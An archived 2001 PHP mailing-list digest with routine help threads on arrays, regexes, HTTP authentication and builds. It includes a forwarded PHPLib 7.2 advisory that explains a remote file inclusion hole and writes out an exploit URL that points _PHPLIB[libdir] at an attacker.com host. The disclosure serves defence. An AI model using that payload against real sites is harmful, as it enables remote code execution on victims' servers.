|
Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com |
From: php-general-digest-help
lists.php.netDate: Mon Jul 23 2001 - 06:22:06 CDT
php-general Digest 23 Jul 2001 11:22:06 -0000 Issue 772
Topics (messages 59106 through 59176):
One2Many Logic Problem - phpMySQL bibliography
59106 by: Mike Gifford
59169 by: Steve Brett
removing lines from array
59107 by: Richard Kurth
59132 by: Adrian Ciutureanu
59133 by: elias
magic quotes
59108 by: Jon Yaggie
bitwise AND is acting strange
59109 by: Jeremy
HTTP Authentication and PHP
59110 by: Jason Rennie
59134 by: elias
59140 by: Balaji Ankem
php
59111 by: axel yson
Replace ANYTHING between <TAG> </TAG>
59112 by: Dan Krumlauf
59115 by: ReDucTor
59152 by: James Holloway
Re: sleep() function question
59113 by: Andrew Brampton
php.ini and mod_php4
59114 by: rip
[SEC] Hole in PHPLib 7.2 prepend.php3
59116 by: nathan r. hruby
Clarify: SEARCH AND replace between <TAG> </TAG>
59117 by: Dan Krumlauf
59118 by: ReDucTor
Re: php 4.0.6
59119 by: Adrian D'Costa
59128 by: Adrian D'Costa
59131 by: Rasmus Lerdorf
59150 by: Adrian D'Costa
Re: formatting "host" output
59120 by: David Robley
59121 by: Matthew Loff
reg exp help
59122 by: Justin French
59151 by: James Holloway
need help w/ variables
59123 by: Virgil Claritt
59124 by: ReDucTor
59125 by: Virgil Claritt
59126 by: ReDucTor
59127 by: Greg Donald
59129 by: Virgil Claritt
59130 by: ReDucTor
59135 by: Van Tate Jr.
59137 by: ReDucTor
question about forum
59136 by: Jason Wang
59138 by: ReDucTor
59158 by: Sandeep Hundal
RECOMENDED WEBSITE ..by CN YEONG
59139 by: CN YEONG
Destroy object
59141 by: ROsen
Modssl & php 4 fears
59142 by: Jason Rennie
When did this become the advertising Mailing List
59143 by: ReDucTor
date
59144 by: Yamin Prabudy
date HELP !!!!!
59145 by: Yamin Prabudy
59146 by: ReDucTor
59147 by: Daniel Rezny
59148 by: Henrik Hansen
59149 by: James Holloway
number generator
59153 by: Yamin Prabudy
limit items per page
59154 by: Steph
59155 by: James Holloway
59156 by: ReDucTor
59159 by: Henrik Hansen
59161 by: James Holloway
59173 by: Martin Cameron
Re: regex for cleaning up username
59157 by: maatt
number generat {Luhn algorithm}
59160 by: Yamin Prabudy
59162 by: Henrik Hansen
holding values in a select list on a form
59163 by: Mark Bayfield
User ID's
59164 by: Saquib Farooq
59174 by: Martin Cameron
MySQL PRIVILEGES problem
59165 by: Manu Verhaegen
59171 by: Balaji Ankem
Re: PHP & MySQL
59166 by: Steve Brett
mail with html
59167 by: Adrian D'Costa
59168 by: Sandeep Hundal
59170 by: Sandeep Hundal
59175 by: Henrik Hansen
Networking
59172 by: ReDucTor
Check for exist function
59176 by: ROsen
Administrivia:
To subscribe to the digest, e-mail:
php-general-digest-subscribe
lists.php.net
To unsubscribe from the digest, e-mail:
php-general-digest-unsubscribe
lists.php.net
To post to the list, e-mail:
php-general
lists.php.net
----------------------------------------------------------------------
attached mail follows:
Hello,
I'm not sure if anyone else as the need for a php/MySQL based bibliography, but
the application that I am developing (which is basically a module for phpSlash)
is coming along fairly well. If anyone is interested in seeing the code I can
bundle it up and send it out to them (still a long way from finished mind). The
draft version of it is up and running here:
http://openconcept.ca/WLP/biblio/index.php3
I'm running into a couple problems though that I don't have the logic language
for and I was hoping folks here could help me (as you have done in the past).
The problem is that I've set up a many to many table to ensure that I can have
an author be listed as writing many books and a book be written by many authors.
However in listing the books as a bibliography (as the URL above), I want to be
able to list multiple authors, and do so in a different format for the first
author than for all subsequent ones.
I'm hoping to be able to produce output like this:
Young, D. and N. Dixon. Helping Leaders Take Effective Action: A Program
Evaluation. Greensboro, North Carolina: Center for Creative Leadership,
1996.
So, I think the first challenge should be to calculate which books have multiple
authors by doing something like this (It's using phplib structures, sorry):
$q2 = "SELECT * FROM WLPbib2profile ORDER BY bibID";
$this->db->query($q2); // Performs above query
while ($this->db->next_record()) {
if ($this->db->Record["bibID"] != $last_bibID) {
echo "<br>" . $this->db->Record["bibID"] . " : " . $this->db->Record["profileID"];
} else { // Multiple Authors
echo ", " . $this->db->Record["profileID"];
$multiple_profileID .= array ($this->db->Record["bibID"] =>
$this->db->Record["profileID"]);
$multiple_profileID .= array($this->db->Record["bibID"] =>
"yes");
}
$last_bibID = $this->db->Record["bibID"];
}
}
With this I can then use the value $multiple_profileID to determine if this
record has duplicates or not and use something like this to include both authors
and not repeat the bibliography item:
if ($multiple_profileID[$bibID]=="yes") {
while (list($key, $val) = each($multiple_profileID)) {
$written_by = $key . " : " . $val . "<br>";
if ($this->db->Record["firstName"]) {
$written_by .= stripslashes($this->db->Record["firstName"]) . " ";
}
if($this->db->Record["lastName"]) {
$written_by .= stripslashes($this->db->Record["lastName"]);
}
}
} else {
if($this->db->Record["lastName"]) {
$written_by .= stripslashes($this->db->Record["lastName"]) . ", ";
}
if ($this->db->Record["firstName"]) {
$written_by .= stripslashes($this->db->Record["firstName"]);
}
}
But this seems really awkward (at the best of times) and (worst of all) it isn't
working.
I've got another related problem in that I've set up the following fields in one
table:
firstName
lastName
organization
and I need to be able to order them by a combination of lastName & organization.
I could list the organization field simply as the lastName, but that seems
like it would be confusing the data types... Must be a way around this.. I
suspect it is limited by my logic & not PHP's.
Any ideas would be appreciated.
Mike
-- Mike Gifford, OpenConcept Consulting, http://openconcept.ca Offering everything your organization needs for an effective web site. Abolish Nuclear Weapons Now!: http://pgs.ca/petition/ It is a miracle that curiosity survives formal education. - A Einstein
attached mail follows:
wouldn't the structure of the database be determined by the fact you have a many to many relationship ? i.e. the two tables would decompose into three with a 'link' table defining the many to may part ?
steve
"Mike Gifford" <mike
openconcept.ca> wrote in message
news:3B5B6615.8090801
openconcept.ca...
> Hello,
>
> I'm not sure if anyone else as the need for a php/MySQL based
bibliography, but
> the application that I am developing (which is basically a module for
phpSlash)
> is coming along fairly well. If anyone is interested in seeing the code I
can
> bundle it up and send it out to them (still a long way from finished
mind). The
> draft version of it is up and running here:
> http://openconcept.ca/WLP/biblio/index.php3
>
> I'm running into a couple problems though that I don't have the logic
language
> for and I was hoping folks here could help me (as you have done in the
past).
>
> The problem is that I've set up a many to many table to ensure that I can
have
> an author be listed as writing many books and a book be written by many
authors.
>
> However in listing the books as a bibliography (as the URL above), I want
to be
> able to list multiple authors, and do so in a different format for the
first
> author than for all subsequent ones.
>
> I'm hoping to be able to produce output like this:
> Young, D. and N. Dixon. Helping Leaders Take Effective Action: A Program
> Evaluation. Greensboro, North Carolina: Center for Creative Leadership,
> 1996.
>
>
> So, I think the first challenge should be to calculate which books have
multiple
> authors by doing something like this (It's using phplib structures,
sorry):
>
> $q2 = "SELECT * FROM WLPbib2profile ORDER BY bibID";
> $this->db->query($q2); // Performs above query
> while ($this->db->next_record()) {
> if ($this->db->Record["bibID"] != $last_bibID) {
> echo "<br>" . $this->db->Record["bibID"] . " : " .
$this->db->Record["profileID"];
> } else { // Multiple Authors
> echo ", " . $this->db->Record["profileID"];
> $multiple_profileID .= array ($this->db->Record["bibID"] =>
> $this->db->Record["profileID"]);
> $multiple_profileID .= array($this->db->Record["bibID"] =>
> "yes");
> }
> $last_bibID = $this->db->Record["bibID"];
> }
> }
>
> With this I can then use the value $multiple_profileID to determine if
this
> record has duplicates or not and use something like this to include both
authors
> and not repeat the bibliography item:
>
> if ($multiple_profileID[$bibID]=="yes") {
> while (list($key, $val) = each($multiple_profileID)) {
> $written_by = $key . " : " . $val . "<br>";
> if ($this->db->Record["firstName"]) {
> $written_by .= stripslashes($this->db->Record["firstName"]) . " ";
> }
> if($this->db->Record["lastName"]) {
> $written_by .= stripslashes($this->db->Record["lastName"]);
> }
> }
> } else {
>
> if($this->db->Record["lastName"]) {
> $written_by .= stripslashes($this->db->Record["lastName"]) . ", ";
> }
> if ($this->db->Record["firstName"]) {
> $written_by .= stripslashes($this->db->Record["firstName"]);
> }
> }
>
> But this seems really awkward (at the best of times) and (worst of all) it
isn't
> working.
>
> I've got another related problem in that I've set up the following fields
in one
> table:
> firstName
> lastName
> organization
>
> and I need to be able to order them by a combination of lastName &
organization.
> I could list the organization field simply as the lastName, but that
seems
> like it would be confusing the data types... Must be a way around this..
I
> suspect it is limited by my logic & not PHP's.
>
> Any ideas would be appreciated.
>
> Mike
> --
> Mike Gifford, OpenConcept Consulting, http://openconcept.ca
> Offering everything your organization needs for an effective web site.
> Abolish Nuclear Weapons Now!: http://pgs.ca/petition/
> It is a miracle that curiosity survives formal education. - A Einstein
>
attached mail follows:
I an trying to figure out how to remove lines from a text file from within an array. I fill the array with this $recordsarray = file ("../auto/records");
The lines I what to remove have this in them $remove = "schopf.net ";
What I need is how to loop through this array and pull out the lines that have what is in the $remove variable.
Then I will write the array to a temp file and thin copy it back to the records file
This is a small sample of the file I what two remove lines from
mx - schopf.net High www.schopf.net
ptr - readinggenius.tv 207.200.75.55 24
a - time-management-by-higher-productivity.com 207.252.75.55 24
ptr www speedreading123.com 207.200.75.55 24
ptr - mindbodyspirit123.com 207.200.75.247 24
a www schopf.net 207.252.75.242 24
soa - schopf.net dns1.northwesthost.com:dns2.northwesthost.com:rkurth
www.northwesthost.com:10800:3600:604800:86400 -
Best regards,
Richard
mailto:rkurth
pacifier.com
attached mail follows:
<? $recordsarray = file ("../auto/records"); $remove = "schopf.net "; while(list($i, $line) = each($recordsarray)) { if(ereg($remove, $line)) { unset($recordsarray[$i]); } } $newFileContent = implode('', $recordsarray); ?>
> -----Original Message-----
> From: Richard Kurth [mailto:rkurth
pacifier.com]
> Sent: 23 iulie 2001 02:36
> To: php
> Subject: [PHP] removing lines from array
>
>
>
> I an trying to figure out how to remove lines from a text file from
> within an array.
>
> I fill the array with this
>
>
> The lines I what to remove have this in them
>
>
> What I need is how to loop through this array and pull out
> the lines
> that have what is in the $remove variable.
>
> Then I will write the array to a temp file and thin copy it back to
> the records file
>
>
> This is a small sample of the file I what two remove lines from
> mx - schopf.net High www.schopf.net
> ptr - readinggenius.tv 207.200.75.55 24
> a - time-management-by-higher-productivity.com 207.252.75.55 24
> ptr www speedreading123.com 207.200.75.55 24
> ptr - mindbodyspirit123.com 207.200.75.247 24
> a www schopf.net 207.252.75.242 24
> soa - schopf.net
> dns1.northwesthost.com:dns2.northwesthost.com:rkurth
www.north
> westhost.com:10800:3600:604800:86400 -
>
>
>
>
>
>
>
>
>
>
>
> Best regards,
> Richard
> mailto:rkurth
pacifier.com
>
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
> For additional commands, e-mail: php-general-help
lists.php.net
> To contact the list administrators, e-mail:
> php-list-admin
lists.php.net
>
>
attached mail follows:
$recordsarray = file("records");
$remove = "schopf.net"; $temp = array(); for ($i=0;$i<count($recordsarray);$i++) { if (!strstr($recordsarray[$i], $remove)) { $temp[] = $recordsarray[$i]; } } $recordsarray = $temp; $lines = join($recordsarray, '\n'); $fp = fopen("records", "w"); fwrite($fp, $lines, strlen($lines)); fclose($fp); . . //should work
//elias
"Richard Kurth" <rkurth
pacifier.com> wrote in message
news:13859124237.20010722163546
pacifier.com...
>
> I an trying to figure out how to remove lines from a text file from
> within an array.
>
> I fill the array with this
> $recordsarray = file ("../auto/records");
>
> The lines I what to remove have this in them
> $remove = "schopf.net ";
>
> What I need is how to loop through this array and pull out the lines
> that have what is in the $remove variable.
>
> Then I will write the array to a temp file and thin copy it back to
> the records file
>
>
> This is a small sample of the file I what two remove lines from
> mx - schopf.net High www.schopf.net
> ptr - readinggenius.tv 207.200.75.55 24
> a - time-management-by-higher-productivity.com 207.252.75.55 24
> ptr www speedreading123.com 207.200.75.55 24
> ptr - mindbodyspirit123.com 207.200.75.247 24
> a www schopf.net 207.252.75.242 24
> soa - schopf.net
dns1.northwesthost.com:dns2.northwesthost.com:rkurth
www.northwesthost.com:1
0800:3600:604800:86400 -
>
>
>
>
>
>
>
>
>
>
>
> Best regards,
> Richard
> mailto:rkurth
pacifier.com
>
attached mail follows:
how do i get around this? i have a script works great for me, but the clients php config has this set magic_quotes_gpc on. isnt there a varible i can change to eliminate this for my script? if so how do you use it?
Thank You, Jon Yaggie www.design-monster.com And they were singing . . . '100 little bugs in the code 100 bugs in the code fix one bug, compile it again 101 little bugs in the code 101 little bugs in the code . . .' And it continued until they reached 0
attached mail follows:
The users on my website all have an "access" number that is used to give them access to different parts of the site. Each bit represents a different part of the site. So, if a user has an access of 10, which is 1010 in binary, they have access to the parts of the site that are represented by the second and fourth bit. You know, standard bit masking stuff.
So the part of the site that is represented by the second bit has a value of 2 (0010), and the part that is represented by the fourth bit has a value of 8 (1000)
BUT, for some reason when I do (2 & 10) its giving me a result of zero, when I believe it should be doing (0010 & 1010) and giving me an answer of 0010 which is 2 in decimal.
With users with an access other than 10, say 9, or 8, or 7, it seems to behave normally. What is going on? Is it treating the 10 as a binary 2? These access values are stored in a mysql table as a standard INT, and they are not UNSIGNED or BINARY.
Am I missing something?
Jeremy
attached mail follows:
Hi all,
I've been playing around with PHP authentication via HTTP.
I'm using apache, and when i use the header('WWW_Auth...)
headers i get a username/password dialog pop up (as i wanted).
How do i get those values unset in the browser, so that i can get a user to re authenticate ?
I need to get a user to re-auth part way through the use of the app i'm writing becasue they are deleting files from a file system.
Also how would i allow them to logout and let someone else log in.
The docs seemed to imply that the headers command should have repopped the auth box.
Jason
attached mail follows:
Try this when you want to logout:
<? header( 'WWW-Authenticate: Basic realm="Private"'); header( 'HTTP/1.0 401 Unauthorized' ); ?>
//elias
"Jason Rennie" <jwrennie
bigpond.com> wrote in message
news:Pine.LNX.4.21.0107231302090.15377-100000
snuggles.fuzz.net.au...
> Hi all,
>
> I've been playing around with PHP authentication via HTTP.
>
> I'm using apache, and when i use the header('WWW_Auth...)
>
> headers i get a username/password dialog pop up (as i wanted).
>
> How do i get those values unset in the browser, so that i can get a user
> to re authenticate ?
>
> I need to get a user to re-auth part way through the use of the app i'm
> writing becasue they are deleting files from a file system.
>
> Also how would i allow them to logout and let someone else log in.
>
> The docs seemed to imply that the headers command should have repopped the
> auth box.
>
> Jason
>
attached mail follows:
Hi, I am attaching one example program. I hope this will help you a lot.
Regards -Balaji
Hi all, > > I've been playing around with PHP authentication via HTTP. > > I'm using apache, and when i use the header('WWW_Auth...) > > headers i get a username/password dialog pop up (as i wanted). > > How do i get those values unset in the browser, so that i can get a user > to re authenticate ? > > I need to get a user to re-auth part way through the use of the app i'm > writing becasue they are deleting files from a file system. > > Also how would i allow them to logout and let someone else log in. > > The docs seemed to imply that the headers command should have repopped the > auth box. > > Jason
- text/plain attachment: Wipro_Disclaimer.txt
attached mail follows:
Sir,
What do I do with my php? how can I compile my php with mysql support? my problem is I already compile my php what do I do do? I will remove it?
axel
attached mail follows:
Message-ID: <3B5BA9D9.F4680C0E
musheen.com>
Date: Sun, 22 Jul 2001 21:36:41 -0700
From: Dan Krumlauf <Boz
musheen.com>
MIME-Version: 1.0
To: php-general
lists.php.net
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Subject: Replace ANYTHING between <TAG> </TAG>
I've been trying this one for a bit and Im in a twist.
I need to replace ANYTHING or even nothing between two tags with the contents of a variable and just havent been able to get the expression right for all cases.
As an example concept follows:
<TAG></TAG>
Nothing between the tags variable is $varname="some junk"
so after the function <TAG>some junk</TAG>
run it again after making variable $varname="some completly different junk"
so now the tags would be
<TAG>some completly different junk</TAG>
and so on and so on.....
One other breaker Ive had, it needs to always replace no matter whats between the tags, whats not between the tags or even if its 1000s of characters. My code kept breaking when it was alot of characters.
Any funtions or even just the right regex would be appreciated
Thanks
attached mail follows:
<?php
$tagname = "tag";
$somevar = "text;
echo
"<".$tagname.">".nl2br(htmlspecialchars(stripslashes($somevar)))."</".$tagna
me.">";
?>
----- Original Message -----
From: Dan Krumlauf <Boz
musheen.com>
To: <php-general
lists.php.net>
Sent: Monday, July 23, 2001 2:36 PM
Subject: [PHP] Replace ANYTHING between <TAG> </TAG>
> I've been trying this one for a bit and Im in a twist.
>
> I need to replace ANYTHING or even nothing between two tags
> with the contents of a variable and just havent been
> able to get the expression right for all cases.
>
>
> As an example concept follows:
>
> <TAG></TAG>
>
> Nothing between the tags variable is $varname="some junk"
>
> so after the function
> <TAG>some junk</TAG>
>
> run it again after making variable $varname="some completly different
junk"
>
> so now the tags would be
>
> <TAG>some completly different junk</TAG>
>
> and so on and so on.....
>
> One other breaker Ive had, it needs to always replace no matter whats
> between the tags, whats not between the tags or even if its 1000s of
> characters. My code kept breaking when it was alot of characters.
>
> Any funtions or even just the right regex would be appreciated
>
> Thanks
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
> For additional commands, e-mail: php-general-help
lists.php.net
> To contact the list administrators, e-mail: php-list-admin
lists.php.net
>
attached mail follows:
Hi Dan,
maybe something like:
$newvariablethatwewantbetweenthetags = "Long variable!";
$string = preg_replace("/(<TAG>)(.*?)(<\/TAG>)/i", \\1$newvariablethatwewantbetweenthetags\\2, $string));
There should be a " after and before the second part of that statement, but my email proggy strips them.
James
"Dan Krumlauf" <Boz
musheen.com> wrote in message
news:3B5BA9D9.F4680C0E
musheen.com...
> I've been trying this one for a bit and Im in a twist.
>
> I need to replace ANYTHING or even nothing between two tags
> with the contents of a variable and just havent been
> able to get the expression right for all cases.
>
>
> As an example concept follows:
>
> <TAG></TAG>
>
> Nothing between the tags variable is $varname="some junk"
>
> so after the function
> <TAG>some junk</TAG>
>
> run it again after making variable $varname="some completly different
junk"
>
> so now the tags would be
>
> <TAG>some completly different junk</TAG>
>
> and so on and so on.....
>
> One other breaker Ive had, it needs to always replace no matter whats
> between the tags, whats not between the tags or even if its 1000s of
> characters. My code kept breaking when it was alot of characters.
>
> Any funtions or even just the right regex would be appreciated
>
> Thanks
attached mail follows:
I know very little about PHP, but in other languages, what u describe happens because the webserver doesn't send the output until the excution is done...
But you can make it write your output as its generated... check out the function "flush"
also after 20seconds of looking, I found "ob_implicit_flush" that may help as well..
Hope I could help
Andrew
----- Original Message -----
From: "drb" <farinspace
hotmail.com>
To: <php-general
lists.php.net>
Sent: Sunday, July 22, 2001 11:25 PM
Subject: [PHP] sleep() function question
> just wanted to make sure I was not doing anything incorrectly.
>
> I want to return some values to the screen and then sleep(), then return
> more values.
> It seems that nothing is returned till the sleep is over and then all the
> values are returned at once.
>
> Is this the natural function of sleep();
>
> thanks,
>
> DRB
>
>
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
> For additional commands, e-mail: php-general-help
lists.php.net
> To contact the list administrators, e-mail: php-list-admin
lists.php.net
>
>
attached mail follows:
I'm having a bit of a prob... I'm new to Linux and restarting apache isn't acting right, in Win I had no problems. I edit php.ini, restart apache, but the changes are not taking effect. I installed the ming and pdflib .so's but they are not being incorporated. Hell, I edited the ini to turn the php engine off but even that had no effect after a restart. BTW, I'm using Webmin. Any help?
attached mail follows:
The PHPLib Team announces phplib-7.2d, availible now. This release fixes the recently discovered hole in prepend.php3 that can allow a remote attacker to inject non-local code into any phplib based script.
Please note that this affects all applications that depend on PHPLib. Some apps have decided to distribute phplib along with their app for easier installation. Please check your phplib apps to determine if this is the case.
This hole has been mentioned in a HORDE IMP announcement and can be found at: http://marc.theaimsgroup.com/?l=imp&m=99575417320757&w=2
You can download phplib-7.2d from: http://sourceforge.net/project/showfiles.php?group_id=31885&release_id=44737
Note the new download location, you are not reading that incorrectly, PHPLib is starting the journey to SourceForge from its current home on phplib.netuse.de. CVS, Mailing Lists and the Website will be migrated over the next week. The current phplib.netuse.de site will be shortly removing all downloads and re-directing users to the new SourceForge site. Please be sure to keep an eye on http://sourceforge.net/projects/phplib/
What follows is the original announcemnt of the hole from the
discoverer Giancarlo Pinerolo <giancarlo
navigare.net>
--- BEGIN ANNOUNCE I. Systems Affected
* PHPLIB : systems with default PHPLIB installation, and default PHP settings, either as an Apache Module or a CGI, it also affects PHPLIB when used on any Windows web server with the PHP interpreter Both PHP3 and PHP4 are vulnerable
the use of _PHPLIB[libdir] first appeared on versions of PHPLIB starting December 1998
II. Overview
In PHP, variables do not have to be declared. They are created as soon as a value is assigned to them.
When PHP is configured with register_globaps enabled (as it is by default), variables submitted by the user are available in the global namespace. This means that, if a form or an URL query string contains a variable named "myvar", this variable is made available to the script as $myvar.
Getting variables from user input is, in the end, what web programming is allabout, but in this case an attacker can exploit the fact that a variable, not meant to be accepted as input, can actually make its way in, because it has not been previously initialized by the script.
PHP also has the possibility to pass associative arrays via the GET or POST methods. An example is an URL Like this:
http://www.myhost.com/myscript.php?MYARRAY[element1]
or a form whose input field looks like this:
<INPUT type="text" name="MYARRAY[element1]">
PHP also has the possibility to transparently 'include' in a script other pieces of code via the 'include' and 'require' functions. It automatically discerns if the file to be included is on the local filesystem or on a remote location, when the php setting php_enable_fsockopen is true.
include("myfile.php") # will include it from the local filesystem include("http://www.there.com/myfile.php") # will include it from # the net
For more information on this issues I suggest reading tye document titled "A Story in Scarlet" Exploiting Common Vulnerabilities in PHP Applications" at http://www.securereality.com.au/studyinscarlet.txt
III. Description
By providind a value for the the array element $_PHPLIB[libdir], an intruder can force a script to load and execute scripts from another server. This is because the value of $_PHPLIB[libdir] gets initalized *only* if not already set.
This is particularly gravious because, in the normal PHPLIB installation, loadin other libraries is done at the very beginning.
The first instructions in the file 'prepend.php3', that is the very first file which normally gets included in all PHPLIB installation, is :
require($_PHPLIB["libdir"] . "db_mysql.inc");
or other filenames like 'db_pgsql.inc' for the postgres database, depending on the database in use.
if, in te above instruction, $_PHPLIB[libdir] is a string whose value is "http://attacker.com/", the instrucion executed will be:
require("http://attacker.com/" . "db_mysql.inc");
Thus, simply crafting and opening with a browser an URL like:
http://victim.com/any/phplib/page.php?_PHPLIB[libdir]=http://attacker.com/
will make the script 'page.php', which the attacker knows is based on the PHPLIB toolkit, include and execute any arbitrary php instruction contained in a file named 'db_mysql.inc', loaded via an http request for it, located, in the example above, in the document root of the 'attacker.com' web server (http://attacker.com/db_mysql.inc)
Considered the wealth of filesystem and network functions available as PHP functions, and the easy exploitation of this attack, I consider it *very* harmful
Giancarlo Pinerolo Rome July 14,2001
--- END ANNOUNCE
-n
-- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- nathan hruby / digital statement nathandstatement.com http://www.dstatement.com/
Public GPG key can be found at: http://www.dstatement.com/nathan-gpg-key.txt ED54 9A5E 132D BD01 9103 EEF3 E1B9 4738 EC90 801B -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
attached mail follows:
Sorry I wasn't clear. I need to search for the <TAG></TAG> combo in an html file. Thats why I asked for a regex. So I need to load in the html SEARCH for the tags and anything in between the tags throw out and REPLACE with the contents of a variable and then rewrite the file. My orginal message follows:
> I've been trying this one for a bit and Im in a twist. > > I need to replace ANYTHING or even nothing between two tags > with the contents of a variable and just havent been > able to get the expression right for all cases. > > > As an example concept follows: > > <TAG></TAG> > > Nothing between the tags variable is $varname="some junk" > > so after the function > <TAG>some junk</TAG> > > run it again after making variable $varname="some completly different junk" > > so now the tags would be > > <TAG>some completly different junk</TAG> > > and so on and so on..... > > One other breaker Ive had, it needs to always replace no matter whats > between the tags, whats not between the tags or even if its 1000s of > characters. My code kept breaking when it was alot of characters. > > Any funtions or even just the right regex would be appreciated > > Thanks
attached mail follows:
$line = ereg_replace("<(*.)>", "", $line);
that should remove the tags, and there contents
----- Original Message -----
From: Dan Krumlauf <Boz
musheen.com>
To: php list <php-general
lists.php.net>
Sent: Monday, July 23, 2001 4:33 PM
Subject: [PHP] Clarify: SEARCH AND replace between <TAG> </TAG>
> Sorry I wasn't clear. I need to search for the <TAG></TAG> combo
> in an html file. Thats why I asked for a regex. So I need to
> load in the html SEARCH for the tags and anything in between the tags
throw out
> and REPLACE with the contents of a variable and then
> rewrite the file. My orginal message follows:
>
> > I've been trying this one for a bit and Im in a twist.
> >
> > I need to replace ANYTHING or even nothing between two tags
> > with the contents of a variable and just havent been
> > able to get the expression right for all cases.
> >
> >
> > As an example concept follows:
> >
> > <TAG></TAG>
> >
> > Nothing between the tags variable is $varname="some junk"
> >
> > so after the function
> > <TAG>some junk</TAG>
> >
> > run it again after making variable $varname="some completly different
> junk"
> >
> > so now the tags would be
> >
> > <TAG>some completly different junk</TAG>
> >
> > and so on and so on.....
> >
> > One other breaker Ive had, it needs to always replace no matter whats
> > between the tags, whats not between the tags or even if its 1000s of
> > characters. My code kept breaking when it was alot of characters.
> >
> > Any funtions or even just the right regex would be appreciated
> >
> > Thanks
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
> For additional commands, e-mail: php-general-help
lists.php.net
> To contact the list administrators, e-mail: php-list-admin
lists.php.net
>
attached mail follows:
Hi Rasmus,
I did a phpinfo() and gives me the following output:
PHP Version 4.0.6
System Linux pcs.pcsadvt.com 2.2.16-22 #1 Tue Aug 22 16:16:55 EDT 2000 i586 unknown Build Date Jul 20 2001 Configure Command './configure' '--prefix=/usr' '--with-config-file-path=/etc' '--disable-debug' '--enable-pic' '--enable-inline-optimization' '--with-apxs=/usr/sbin/apxs' '--disable-static' '--with-exec-dir=/usr/bin' '--with-regex=system' '--with-gd' '--with-jpeg-dir=/usr' '--with-png' '--with-gdbm' '--enable-debugger' '--enable-magic-quotes' '--enable-safe-mode' '--enable-track-vars' '--enable-ftp' '--with-mysql' '--with-xml' '--enable-trans-sid' '--with-sockets' '--with-readline' Server API Apache Virtual Directory Support disabled Configuration File (php.ini) Path /etc ZEND_DEBUG disabled Thread Safety disabled
I did a make install and restarted my httpd. Lets forget the readline() what about sockets? Why does that not work?
Adrian
On Sat, 21 Jul 2001, Rasmus Lerdorf wrote:
> No idea. You haven't said whether you checked your phpinfo() output to > see if you are actually running the latest version of PHP you just > compiled. Perhaps you forgot a "make install", perhaps you forgot to > restart your httpd. Perhaps your configure didn't find libreadline. Any > number of things could be wrong. You will have to do a little bit of > digging on your own. > > -Rasmus > > > Hi, > > I have now compiled php --with-readline and --with-sockets but I still get > > the "call to undefined function socket() " what could be wrong. > > > > Adrian > > > > On Thu, 19 Jul 2001, Rasmus Lerdorf wrote: > > > > > Did you compile php using --with-readline ? > > > > > > On Thu, 19 Jul 2001, Adrian D'Costa wrote: > > > > > > > Hi, > > > > > > > > I am trying to use the socket or readline functions but get a message: > > > > call to undefined function readline(). Why? Is this not implemented in > > > > 4.0.6. > > > > > > > > Adrian > > > > > > > > > > > > > > > > > > > > > >
attached mail follows:
Hi,
Thanks. I am more worried about the sockets. I installed it --enable-sockets.
Adrian
On Sat, 21 Jul 2001, E. Peter K. Chan wrote:
> Hi
>
> Try going to the source directory ie where you unzipped the tarball for php.
> May as well upgrade to php4.0.6 - that could save you some problems now and
> later. Type in:
>
> # ./configure --help
>
> it says --with-readline[=DIR] so maybe you need to install readline first or
> point php to where it is? (FYI, I just installed 4.0.6 and it did not
> automatically install readline - I didn't include --with-readline in my
> options)
>
> if this doesn't help out then the only thing I can suggest is to start from
> scratch, but BACKUP first!
> See:
> http://www.devshed.com/Server_Side/PHP/SoothinglySeamless/page1.html
>
> It's an excellent tutorial on setting up mysql, php,apache and even openssl.
> And it works.
>
> Peter
>
>
> ----- Original Message -----
> From: "Adrian D'Costa" <adrian
pcsadvt.com>
> To: "E. Peter K. Chan" <heypeter
likehotcakes.com>
> Cc: "php general list" <php-general
lists.php.net>
> Sent: Saturday, July 21, 2001 4:48 PM
> Subject: Re: [PHP] php 4.0.6
>
>
> > Hi Peter,
> >
> > I think the guru of php on the list can tell us what the problem is. I am
> > going to compile 4.0.4pl2 and see if I get that error. In fact I am
> > unable to access mysql now even though I have given --with-mysql.
> >
> > Any clues
> >
> > Adrian
> >
> > On Fri, 20 Jul 2001, E. Peter K. Chan wrote:
> >
> > > Hi Adrian
> > >
> > > I just rebuilt my PHP to 4.0.6 and get a similar message with the bcmath
> > > functions. I don't have an answer for you at the moment. it may be the
> > > configure options selected. If you find out the answer please tell me
> and
> > > I'll do like wise.
> > >
> > > Peter
> > > ----- Original Message -----
> > > From: "Adrian D'Costa" <adrian
pcsadvt.com>
> > > To: "php general list" <php-general
lists.php.net>
> > > Sent: Thursday, July 19, 2001 7:12 PM
> > > Subject: [PHP] php 4.0.6
> > >
> > >
> > > > Hi,
> > > >
> > > > I am trying to use the socket or readline functions but get a message:
> > > > call to undefined function readline(). Why? Is this not implemented
> in
> > > > 4.0.6.
> > > >
> > > > Adrian
> > > >
> > > >
> > > > --
> > > > PHP General Mailing List (http://www.php.net/)
> > > > To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
> > > > For additional commands, e-mail: php-general-help
lists.php.net
> > > > To contact the list administrators, e-mail:
> php-list-admin
lists.php.net
> > > >
> > > >
> > > >
> > >
> > >
> > >
> >
> >
> >
>
>
>
attached mail follows:
